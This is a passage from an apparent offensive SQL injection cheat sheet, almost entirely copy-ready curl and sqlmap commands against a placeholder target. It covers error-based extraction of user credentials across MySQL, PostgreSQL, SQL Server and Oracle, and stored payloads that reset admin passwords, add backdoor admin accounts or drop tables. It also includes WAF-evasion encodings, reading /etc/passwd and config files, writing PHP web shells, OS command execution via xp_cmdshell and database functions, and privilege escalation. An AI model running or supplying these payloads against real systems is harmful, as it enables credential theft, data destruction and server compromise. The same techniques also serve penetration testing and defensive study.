curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e))--"

# Extract column names
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 0x7e))--"

# Extract user data
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,':',password) FROM users LIMIT 0,1), 0x7e))--"

# Multiple column extraction
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,'|',email,'|',role) FROM users LIMIT 0,1), 0x7e))--"

Row-by-Row EXTRACTVALUE Extraction:

# Extract multiple rows using LIMIT
for i in {0..10}; do
    echo "Row $((i+1)):"
    curl -s "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,':',password) FROM users LIMIT $i,1), 0x7e))--" | grep -o "XPATH syntax error: '[^']*'"
done

# Extract all table names
for i in {0..20}; do
    result=$(curl -s "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT $i,1), 0x7e))--")
    if echo "$result" | grep -q "XPATH syntax error"; then
        echo "$result" | grep -o "XPATH syntax error: '[^']*'"
    else
        break
    fi
done

UPDATEXML Function

Basic UPDATEXML Usage:

# Extract database information
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, DATABASE(), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, VERSION(), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, USER(), 0x7e), 1)--"

# Extract from specific tables
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT username FROM users LIMIT 0,1), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT password FROM users WHERE username='admin'), 0x7e), 1)--"

Advanced UPDATEXML Queries:

# Count-based extraction
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT COUNT(*) FROM users), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e), 1)--"

# Conditional extraction
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT IF(COUNT(*)>0, 'EXISTS', 'NOT_EXISTS') FROM users WHERE role='admin'), 0x7e), 1)--"

# Group concatenation for multiple values
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e), 1)--"

EXP Function

Exponential Overflow Error:

# Using EXP function for error generation
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT DATABASE())x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT USER())x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT VERSION())x))--"

# Extract table data
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT username FROM users LIMIT 0,1)x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)x))--"

PostgreSQL Error-Based Techniques

CAST Function Errors

Type Conversion Errors:

# Extract version
curl "https://<target>/page.php?id=1' AND CAST((SELECT version()) AS int)--"

# Extract database name
curl "https://<target>/page.php?id=1' AND CAST((SELECT current_database()) AS int)--"

# Extract current user
curl "https://<target>/page.php?id=1' AND CAST((SELECT current_user) AS int)--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CAST((SELECT username FROM users LIMIT 1) AS int)--"
curl "https://<target>/page.php?id=1' AND CAST((SELECT password FROM users WHERE username='admin') AS int)--"

Advanced CAST Queries:

# Extract table names
curl "https://<target>/page.php?id=1' AND CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) AS int)--"
curl "https://<target>/page.php?id=1' AND CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 1) AS int)--"

# Extract column information
curl "https://<target>/page.php?id=1' AND CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS int)--"

# Multiple column extraction
curl "https://<target>/page.php?id=1' AND CAST((SELECT username||':'||password FROM users LIMIT 1) AS int)--"

Array Index Errors

Array Bounds Exploitation:

# Using array index errors
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END)--"

# Extract data through array errors
curl "https://<target>/page.php?id=1' AND (xpath('/x/',(SELECT version())::text))[1]::text>''--"

SQL Server Error-Based Techniques

CONVERT Function Errors

Type Conversion Exploitation:

# Extract version
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@version)--"

# Extract database name
curl "https://<target>/page.php?id=1' AND CONVERT(int, DB_NAME())--"

# Extract user information
curl "https://<target>/page.php?id=1' AND CONVERT(int, SYSTEM_USER)--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, USER_NAME())--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username FROM users))--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 password FROM users WHERE username='admin'))--"

Advanced CONVERT Queries:

# Extract system information
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@SERVERNAME)--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@SERVICENAME)--"

# Extract multiple rows
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username FROM users WHERE username NOT IN ('admin')))--"

# Concatenated data extraction
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username+':'+password FROM users))--"

Oracle Error-Based Techniques

ORA Error Exploitation

CTXSYS.DRITHSX.SN Function:

# Extract user information
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))=1--"

# Extract database version
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v\$version WHERE rownum=1))=1--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT username FROM users WHERE rownum=1))=1--"

UTL_INADDR.GET_HOST_NAME Function:

# Extract data using UTL_INADDR
curl "https://<target>/page.php?id=1' AND UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))=1--"
curl "https://<target>/page.php?id=1' AND UTL_INADDR.GET_HOST_NAME((SELECT username FROM users WHERE rownum=1))=1--"

Second-Order SQL Injection

Purpose

Second-order SQL injection occurs when user input is stored in the database and later used in a SQL query without proper sanitization during the retrieval and processing phase. This type of injection is more complex to detect and exploit as the malicious payload is not immediately executed.

Detection Methodology

Input Storage Points Analysis

Registration Systems:

# Register with potentially malicious usernames
curl -X POST -d "username=admin'-- &password=test123&email=test@test.com" \
     https://<target>/register.php

curl -X POST -d "username=test'; DROP TABLE users;-- &password=test123&email=test@test.com" \
     https://<target>/register.php

# Register with SQL injection payloads in various fields
curl -X POST -d "username=testuser&password=test123&email=admin'@test.com&bio=normal bio" \
     https://<target>/register.php

curl -X POST -d "username=testuser2&password=test123&email=test@test.com&bio=Nice profile'; UPDATE users SET password='hacked' WHERE username='admin';-- " \
     https://<target>/register.php

Profile Update Systems:

# Update profile with malicious data
curl -X POST -b "session=valid_session" \
     -d "bio='; UPDATE users SET role='admin' WHERE username='victim';-- &location=City&website=http://test.com" \
     https://<target>/update_profile.php

# Update with payloads in different fields
curl -X POST -b "session=valid_session" \
     -d "full_name=John'; DROP TABLE logs;-- &bio=Normal bio&phone=123456789" \
     https://<target>/profile/update

Comment and Feedback Systems:

# Submit comments with SQL injection
curl -X POST -d "comment=Great post'; INSERT INTO users (username,password,role) VALUES ('hacker','password','admin');-- &author=TestUser&email=test@test.com" \
     https://<target>/submit_comment.php

# Forum posts with delayed execution
curl -X POST -b "session=valid_session" \
     -d "title=Test Post&content=Nice forum'; UPDATE users SET password='compromised' WHERE id=1;-- " \
     https://<target>/forum/new_post

Trigger Point Identification

Administrative Functions:

# Login and access admin panel to trigger stored payloads
curl -X POST -d "username=admin&password=admin123" \
     https://<target>/login.php -c cookies.txt

# Access user management (may process stored malicious usernames)
curl -b cookies.txt https://<target>/admin/users.php

# View user profiles (may execute stored profile data)
curl -b cookies.txt https://<target>/admin/view_profile.php?user_id=1

Reporting and Analytics:

# Generate reports that may process stored data
curl -b cookies.txt https://<target>/admin/generate_report.php?type=users

# Export functions that query stored data
curl -b cookies.txt https://<target>/admin/export_users.csv

# Search functions that may use stored data in queries
curl -b cookies.txt "https://<target>/search.php?query=stored_username"

Exploitation Strategies

Multi-Step Exploitation Process

Step 1: Payload Storage

# Store malicious payload in user registration
curl -X POST -d "username=victim&password=test123&email=test@test.com&bio=Normal user'; UPDATE users SET password=MD5('hacked123') WHERE username='admin';-- " \
     https://<target>/register.php

# Verify registration success
curl -X POST -d "username=victim&password=test123" \
     https://<target>/login.php -c victim_session.txt

Step 2: Payload Activation

# Trigger payload through profile viewing
curl -b admin_session.txt "https://<target>/admin/view_profile.php?username=victim"

# Or through user search functionality
curl -b admin_session.txt "https://<target>/admin/search_users.php?query=victim"

# Or through report generation
curl -b admin_session.txt "https://<target>/admin/user_report.php"

Step 3: Exploitation Verification

# Attempt to login with compromised credentials
curl -X POST -d "username=admin&password=hacked123" \
     https://<target>/login.php

# Check if exploitation was successful
if curl -s -X POST -d "username=admin&password=hacked123" https://<target>/login.php | grep -q "dashboard\|welcome\|success"; then
    echo "Second-order SQL injection successful!"
else
    echo "Exploitation failed or not triggered yet"
fi

Advanced Second-Order Techniques

Time-Delayed Activation:

# Store payload that activates after specific time
curl -X POST -d "username=delayed&password=test123&reminder=Normal reminder'; IF DATEDIFF(NOW(), (SELECT created_date FROM users WHERE username='delayed')) > 1 THEN UPDATE users SET role='admin' WHERE username='delayed' END IF;-- " \
     https://<target>/register.php

# Wait for time condition and check activation
sleep 86400  # Wait 24 hours
curl -X POST -d "username=delayed&password=test123" https://<target>/login.php

Conditional Payload Execution:

# Store payload that executes only under specific conditions
curl -X POST -d "username=conditional&password=test123&status=active'; IF (SELECT COUNT(*) FROM users WHERE role='admin') < 2 THEN INSERT INTO users (username,password,role) VALUES ('backdoor','secret','admin') END IF;-- " \
     https://<target>/register.php

# Trigger through various application functions until condition is met
curl -b admin_session.txt https://<target>/admin/users.php
curl -b admin_session.txt https://<target>/admin/user_stats.php

Second-Order Detection Automation

Automated Payload Injection

Registration Fuzzing:

# Create wordlist of second-order payloads
cat << 'EOF' > second_order_payloads.txt
'; UPDATE users SET password='hacked' WHERE id=1;--
'; INSERT INTO users (username,password,role) VALUES ('hacker','pass','admin');--
'; DROP TABLE logs;--
'; UPDATE users SET role='admin' WHERE username='victim';--
'; DELETE FROM users WHERE role!='admin';--
EOF

# Automated registration with payloads
counter=1
while IFS= read -r payload; do
    echo "Testing payload $counter: $payload"
    curl -X POST -d "username=test$counter&password=test123&email=test$counter@test.com&bio=$payload" \
         https://<target>/register.php
    
    # Login with new account
    if curl -s -X POST -d "username=test$counter&password=test123" https://<target>/login.php | grep -q "success\|dashboard"; then
        echo "Account test$counter registered successfully"
    fi
    
    ((counter++))
done < second_order_payloads.txt

Trigger Point Testing:

# Test various trigger points for each stored payload
for user_id in {1..10}; do
    echo "Testing triggers for user test$user_id"
    
    # Admin panel access
    curl -b admin_session.txt "https://<target>/admin/view_profile.php?id=$user_id" > /dev/null
    
    # Report generation
    curl -b admin_session.txt "https://<target>/admin/user_report.php?user_id=$user_id" > /dev/null
    
    # Search functionality
    curl -b admin_session.txt "https://<target>/search.php?query=test$user_id" > /dev/null
    
    # Check if admin account was compromised
    if curl -s -X POST -d "username=admin&password=hacked" https://<target>/login.php | grep -q "success\|dashboard"; then
        echo "Second-order injection successful via user test$user_id!"
        break
    fi
done

Advanced SQL Injection Techniques

Purpose

Advanced techniques bypass modern security controls including Web Application Firewalls (WAFs), input filters, and other protection mechanisms while exploiting complex database configurations and features.

WAF Bypass Techniques

Comment-Based Bypasses

MySQL Comment Variations:

# Standard comment bypass
curl "https://<target>/page.php?id=1'/**/UNION/**/SELECT/**/1,2,3--"

# Inline comment variations
curl "https://<target>/page.php?id=1'/*!UNION*//*!SELECT*/1,2,3--"
curl "https://<target>/page.php?id=1'/*!50000UNION*//*!50000SELECT*/1,2,3--"

# Version-specific comments
curl "https://<target>/page.php?id=1'/*!50001UNION*//*!50001SELECT*/1,2,3--"
curl "https://<target>/page.php?id=1'/*50001UNION*//*50001SELECT*/1,2,3--"

# Multiple comment styles
curl "https://<target>/page.php?id=1'/*comment*/UNION/*comment*/SELECT/*comment*/1,2,3--"

Comment Nesting:

# Nested comment bypass
curl "https://<target>/page.php?id=1'/*/* nested */*/UNION/*/* nested */*/SELECT/*/* nested */*/1,2,3--"

# Complex comment structures
curl "https://<target>/page.php?id=1'/*!/*comment*/UNION/*comment*/SELECT/*comment*/*/1,2,3--"

Case Variation and Encoding

Case Mixing Bypasses:

# Mixed case variations
curl "https://<target>/page.php?id=1' UnIoN sElEcT 1,2,3--"
curl "https://<target>/page.php?id=1' uNiOn SeLeCt 1,2,3--"
curl "https://<target>/page.php?id=1' UNION select 1,2,3--"
curl "https://<target>/page.php?id=1' union SELECT 1,2,3--"

# Random case generation
curl "https://<target>/page.php?id=1' UnIOn sElEcT vErSiOn(),UsEr(),DaTaBaSe()--"

URL Encoding Bypasses:

# Single URL encoding
curl "https://<target>/page.php?id=1%27%20UNION%20SELECT%201,2,3--"

# Double URL encoding
curl "https://<target>/page.php?id=1%2527%2520UNION%2520SELECT%25201,2,3--"

# Mixed encoding
curl "https://<target>/page.php?id=1'%20UNION%20SELECT%201%2C2%2C3--"

# Unicode encoding
curl "https://<target>/page.php?id=1%u0027%u0020UNION%u0020SELECT%u00201,2,3--"

HTML Entity Encoding:

# HTML entity bypass
curl "https://<target>/page.php?id=1&#x27;&#x20;UNION&#x20;SELECT&#x20;1,2,3--"
curl "https://<target>/page.php?id=1&apos;&nbsp;UNION&nbsp;SELECT&nbsp;1,2,3--"

# Decimal HTML entities
curl "https://<target>/page.php?id=1&#39;&#32;UNION&#32;SELECT&#32;1,2,3--"

Space and Delimiter Bypasses

Alternative Space Characters:

# Tab character bypass
curl "https://<target>/page.php?id=1'%09UNION%09SELECT%091,2,3--"

# Newline bypasses
curl "https://<target>/page.php?id=1'%0aUNION%0aSELECT%0a1,2,3--"
curl "https://<target>/page.php?id=1'%0dUNION%0dSELECT%0d1,2,3--"
curl "https://<target>/page.php?id=1'%0d%0aUNION%0d%0aSELECT%0d%0a1,2,3--"

# Form feed and vertical tab
curl "https://<target>/page.php?id=1'%0cUNION%0cSELECT%0c1,2,3--"
curl "https://<target>/page.php?id=1'%0bUNION%0bSELECT%0b1,2,3--"

# Multiple space alternatives
curl "https://<target>/page.php?id=1'%09%0a%0d%20UNION%09%0a%0d%20SELECT%09%0a%0d%201,2,3--"

Comment-Based Space Replacement:

# MySQL comment spaces
curl "https://<target>/page.php?id=1'/**/UNION/**/SELECT/**/1,2,3--"
curl "https://<target>/page.php?id=1'/*!UNION*//*!SELECT*//*!1,2,3*/--"

# Nested comment spaces
curl "https://<target>/page.php?id=1'/*comment*/UNION/*comment*/SELECT/*comment*/1,2,3--"

Keyword Obfuscation

Alternative Keywords:

# AND/OR alternatives
curl "https://<target>/page.php?id=1' %26%26 1=1--"  # &&
curl "https://<target>/page.php?id=1' || 1=1--"     # ||
curl "https://<target>/page.php?id=1' AND 1=1--"

# UNION alternatives
curl "https://<target>/page.php?id=1' UNION ALL SELECT 1,2,3--"
curl "https://<target>/page.php?id=1' UNION DISTINCT SELECT 1,2,3--"

# SELECT alternatives with functions
curl "https://<target>/page.php?id=1' UNION SELECT 1,2,3 FROM dual--"
curl "https://<target>/page.php?id=1' UNION (SELECT 1,2,3)--"

Function Name Obfuscation:

# Database function alternatives
curl "https://<target>/page.php?id=1' UNION SELECT SCHEMA(),NULL,NULL--"  # Instead of DATABASE()
curl "https://<target>/page.php?id=1' UNION SELECT CURRENT_USER(),NULL,NULL--"  # Instead of USER()

# String function alternatives
curl "https://<target>/page.php?id=1' UNION SELECT SUBSTR(username,1,10),NULL,NULL FROM users--"  # Instead of SUBSTRING
curl "https://<target>/page.php?id=1' UNION SELECT LEFT(username,10),NULL,NULL FROM users--"

Database-Specific Advanced Features

MySQL Advanced Techniques

File System Operations:

# Read system files (requires FILE privilege)
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/hosts'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/log/apache2/access.log'),NULL,NULL--"

# Read MySQL configuration
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/mysql/my.cnf'),NULL,NULL--"

# Read web application files
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/www/html/index.php'),NULL,NULL--"

File Writing Operations:

# Write web shell (requires FILE privilege and writable directory)
curl "https://<target>/page.php?id=1' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--"

# Write backdoor script
curl "https://<target>/page.php?id=1' UNION SELECT '<?php eval(\$_POST[\"code\"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/backdoor.php'--"

# Write to different locations
curl "https://<target>/page.php?id=1' UNION SELECT 'malicious content',NULL,NULL INTO OUTFILE '/tmp/test.txt'--"

# Use INTO DUMPFILE for binary files
curl "https://<target>/page.php?id=1' UNION SELECT 0x3c3f70687020656368bytestring INTO DUMPFILE '/var/www/html/binary_shell.php'--"

User-Defined Functions (UDF):

# Check for UDF capabilities
curl "https://<target>/page.php?id=1' UNION SELECT name,type,NULL FROM mysql.func--"

# Create UDF for command execution (if permissions allow)
curl "https://<target>/page.php?id=1'; CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'--"

# Execute system commands via UDF
curl "https://<target>/page.php?id=1' UNION SELECT sys_exec('id'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT sys_exec('whoami'),NULL,NULL--"

PostgreSQL Advanced Techniques

Large Object Functions:

# Read files using large objects
curl "https://<target>/page.php?id=1'; SELECT lo_import('/etc/passwd')--"
curl "https://<target>/page.php?id=1' UNION SELECT lo_get((SELECT oid FROM pg_largeobject LIMIT 1)),NULL,NULL--"

# Export data using large objects
curl "https://<target>/page.php?id=1'; SELECT lo_export((SELECT oid FROM pg_largeobject LIMIT 1), '/tmp/exported_data')--"

Command Execution:

# Create functions for command execution
curl "https://<target>/page.php?id=1'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT--"

# Execute system commands
curl "https://<target>/page.php?id=1' UNION SELECT system('id')::text,NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT system('cat /etc/passwd')::text,NULL,NULL--"

# Alternative execution methods
curl "https://<target>/page.php?id=1'; COPY (SELECT 'test') TO PROGRAM 'id'--"

Extension Exploitation:

# Check available extensions
curl "https://<target>/page.php?id=1' UNION SELECT name,NULL,NULL FROM pg_available_extensions--"

# Use dblink for connections
curl "https://<target>/page.php?id=1'; SELECT dblink_connect('host=localhost user=postgres password=pass dbname=target')--"
curl "https://<target>/page.php?id=1' UNION SELECT dblink('dbconn', 'SELECT version()'),NULL,NULL--"

SQL Server Advanced Techniques

xp_cmdshell Command Execution:

# Enable xp_cmdshell (if permissions allow)
curl "https://<target>/page.php?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--"

# Execute system commands
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'whoami'--"
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'dir C:\\'--"
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'net user'--"

# Command output extraction
curl "https://<target>/page.php?id=1' UNION SELECT NULL,NULL,(SELECT output FROM (EXEC('EXEC xp_cmdshell ''whoami''')) AS temp(output))--"

OLE Automation:

# Enable OLE automation
curl "https://<target>/page.php?id=1'; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE--"

# Execute commands via OLE
curl "https://<target>/page.php?id=1'; DECLARE @shell INT; EXEC SP_OACreate 'wscript.shell', @shell OUTPUT; EXEC SP_OAMethod @shell, 'run', null, 'cmd.exe /c whoami'--"

Linked Server Exploitation:

# Enumerate linked servers
curl "https://<target>/page.php?id=1' UNION SELECT name,provider,NULL FROM sys.servers--"

# Query linked servers
curl "https://<target>/page.php?id=1' UNION SELECT * FROM OPENQUERY([LinkedServer], 'SELECT @@version')--"

# Execute commands on linked servers
curl "https://<target>/page.php?id=1'; EXEC ('xp_cmdshell ''whoami''') AT [LinkedServer]--"

Privilege Escalation Techniques

Database User Privilege Escalation

MySQL Privilege Escalation:

# Check current privileges
curl "https://<target>/page.php?id=1' UNION SELECT privilege_type,NULL,NULL FROM information_schema.user_privileges WHERE grantee=CONCAT(\"'\",USER(),\"'@'%'\")--"

# Check file privileges
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN (SELECT COUNT(*) FROM information_schema.user_privileges WHERE grantee=CONCAT(\"'\",USER(),\"'@'%'\") AND privilege_type='FILE')>0 THEN 'FILE_PRIV' ELSE 'NO_FILE_PRIV' END),NULL,NULL--"

# Attempt privilege escalation via SQL injection in DEFINER procedures
curl "https://<target>/page.php?id=1'; CALL vulnerable_procedure(''; UPDATE mysql.user SET Super_priv=''Y'' WHERE User=USER(); FLUSH PRIVILEGES;')--"

PostgreSQL Privilege Escalation:

# Check superuser status
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN usesuper THEN 'SUPERUSER' ELSE 'NOT_SUPERUSER' END),NULL,NULL FROM pg_user WHERE usename=USER()--"

# Check role memberships
curl "https://<target>/page.php?id=1' UNION SELECT rolname,NULL,NULL FROM pg_roles WHERE pg_has_role(USER(), oid, 'member')--"

# Attempt to create superuser (if permissions allow)
curl "https://<target>/page.php?id=1'; CREATE USER hacker WITH SUPERUSER PASSWORD 'password'--"

SQL Server Privilege Escalation:

# Check current server roles
curl "https://<target>/page.php?id=1' UNION SELECT name,NULL,NULL FROM sys.server_principals WHERE principal_id IN (SELECT role_principal_id FROM sys.server_role_members WHERE member_principal_id=USER_ID())--"

# Check sysadmin membership
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN IS_SRVROLEMEMBER('sysadmin')=1 THEN 'SYSADMIN' ELSE 'NOT_SYSADMIN' END),NULL,NULL--"

# Attempt privilege escalation
curl "https://<target>/page.php?id=1'; EXEC sp_addsrvrolemember 'domain\\user', 'sysadmin'--"

Automated SQL Injection Testing

Purpose

Automated tools provide comprehensive testing coverage, advanced exploitation capabilities, and efficient vulnerability discovery across complex applications with minimal manual effort.

SQLMap Comprehensive Usage

Basic SQLMap Operations

URL-Based Testing:

# Basic GET parameter testing
sqlmap -u "https://<target>/page.php?id=1"

# POST parameter testing from file
sqlmap -r request.txt

# Specific parameter testing
sqlmap -u "https://<target>/page.php?id=1&category=2" -p id

# Multiple parameter testing
sqlmap -u "https://<target>/page.php?id=1&category=2" -p "id,category"

# Cookie-based injection testing
sqlmap -u "https://<target>/page.php" --cookie="PHPSESSID=abc123; user_id=1*"

# Header injection testing
sqlmap -u "https://<target>/page.php" --headers="X-Forwarded-For: 1*"

Advanced SQLMap Configuration:

# Specify database management system
sqlmap -u "https://<target>/page.php?id=1" --dbms=mysql
sqlmap -u "https://<target>/page.php?id=1" --dbms=postgresql
sqlmap -u "https://<target>/page.php?id=1" --dbms=mssql

# Risk and level configuration
sqlmap -u "https://<target>/page.php?id=1" --risk=3 --level=5

# Technique specification
sqlmap -u "https://<target>/page.php?id=1" --technique=BEUST
# B=Boolean-based blind, E=Error-based, U=Union query, S=Stacked queries, T=Time-based blind

# Thread configuration for speed
sqlmap -u "https://<target>/page.php?id=1" --threads=10

Database Enumeration with SQLMap

Database Structure Discovery:

# List all databases
sqlmap -u "https://<target>/page.php?id=1" --dbs

# List tables in specific database
sqlmap -u "https://<target>/page.php?id=1" -D database_name --tables

# List columns in specific table
sqlmap -u "https://<target>/page.php?id=1" -D database_name -T table_name --columns

# Dump all data from specific table
sqlmap -u "https://<target>/page.php?id=1" -D database_name -T table_name --dump

# Dump specific columns
sqlmap -u "https://<target>/page.php?id=1" -D database_name -T table_name -C "username,password" --dump

# Dump all database content
sqlmap -u "https://<target>/page.php?id=1" --dump-all

Conditional Data Extraction:

# Dump data with WHERE condition
sqlmap -u "https://<target>/page.php?id=1" -D database_name -T users --where="role='admin'" --dump

# Exclude system databases
sqlmap -u "https://<target>/page.php?id=1" --exclude-sysdbs --dump-all

# Start and stop dumping at specific entries
sqlmap -u "https://<target>/page.php?id=1" -D database_name -T users --start=1 --stop=10 --dump

File System Operations with SQLMap

File Reading:

# Read system files
sqlmap -u "https://<target>/page.php?id=1" --file-read="/etc/passwd"
sqlmap -u "https://<target>/page.php?id=1" --file-read="/var/log/apache2/access.log"
sqlmap -u "https://<target>/page.php?id=1" --file-read="/var/www/html/config.php"

# Read Windows files
sqlmap -u "https://<target>/page.php?id=1" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"
sqlmap -u "https://<target>/page.php?id=1" --file-read="C:\\inetpub\\wwwroot\\web.config"

File Writing:

# Write web shell
sqlmap -u "https://<target>/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Write backdoor
echo '<?php system($_GET["cmd"]); ?>' > backdoor.php
sqlmap -u "https://<target>/page.php?id=1" --file-write="backdoor.php" --file-dest="/var/www/html/cmd.php"

# Write to Windows
sqlmap -u "https://<target>/page.php?id=1" --file-write="shell.asp" --file-dest="C:\\inetpub\\wwwroot\\shell.asp"

Operating System Access

OS Shell Access:

# Interactive OS shell
sqlmap -u "https://<target>/page.php?id=1" --os-shell

# OS command execution
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="whoami"
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="id"
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="uname -a"

# Windows commands
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="dir C:\\"
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="net user"

Privilege Escalation:

# Check for DBA privileges
sqlmap -u "https://<target>/page.php?id=1" --is-dba

# Check current user
sqlmap -u "https://<target>/page.php?id=1" --current-user

# Check current database
sqlmap -u "https://<target>/page.php?id=1" --current-db

# List database users
sqlmap -u "https://<target>/page.php?id=1" --users

# List user privileges
sqlmap -u "https://<target>/page.php?id=1" --privileges

SQLMap WAF Bypass and Evasion

Tamper Scripts

Built-in Tamper Scripts:

# Space replacement tampering
sqlmap -u "https://<target>/page.php?id=1" --tamper=space2comment
sqlmap -u "https://<target>/page.php?id=1" --tamper=space2plus
sqlmap -u "https://<target>/page.php?id=1" --tamper=space2randomblank

# Character encoding tampering
sqlmap -u "https://<target>/page.php?id=1" --tamper=charencode
sqlmap -u "https://<target>/page.php?id=1" --tamper=charunicodeencode
sqlmap -u "https://<target>/page.php?id=1" --tamper=chardoubleencode

# Case manipulation
sqlmap -u "https://<target>/page.php?id=1" --tamper=randomcase
sqlmap -u "https://<target>/page.php?id=1" --tamper=uppercase
sqlmap -u "https://<target>/page.php?id=1" --tamper=lowercase

# Multiple tamper scripts
sqlmap -u "https://<target>/page.php?id=1" --tamper=space2comment,charencode,randomcase

WAF-Specific Tampering:

# CloudFlare bypass
sqlmap -u "https://<target>/page.php?id=1" --tamper=space2comment,charencode,randomcase

# ModSecurity bypass
sqlmap -u "https://<target>/page.php?id=1" --tamper=modsecurityversioned,space2comment

# Generic WAF bypass
sqlmap -u "https://<target>/page.php?id=1" --tamper=generalizedpayload

Proxy and Authentication

Proxy Configuration:

# HTTP proxy
sqlmap -u "https://<target>/page.php?id=1" --proxy="http://127.0.0.1:8080"

# SOCKS proxy
sqlmap -u "https://<target>/page.php?id=1" --proxy="socks5://127.0.0.1:1080"

# Proxy with authentication
sqlmap -u "https://<target>/page.php?id=1" --proxy="http://username:password@proxy.com:8080"

HTTP Authentication:

# Basic authentication
sqlmap -u "https://<target>/page.php?id=1" --auth-type=basic --auth-cred="username:password"

# Digest authentication
sqlmap -u "https://<target>/page.php?id=1" --auth-type=digest --auth-cred="username:password"

# NTLM authentication
sqlmap -u "https://<target>/page.php?id=1" --auth-type=ntlm --auth-cred="username:password"

Custom Headers and User Agents:

# Custom user agent
sqlmap -u "https://<target>/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1)"

# Random user agent
sqlmap -u "https://<target>/page.php?id=1" --random-agent

# Custom headers
sqlmap -u "https://<target>/page.php?id=1" --headers="X-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1"

# Mobile user agent
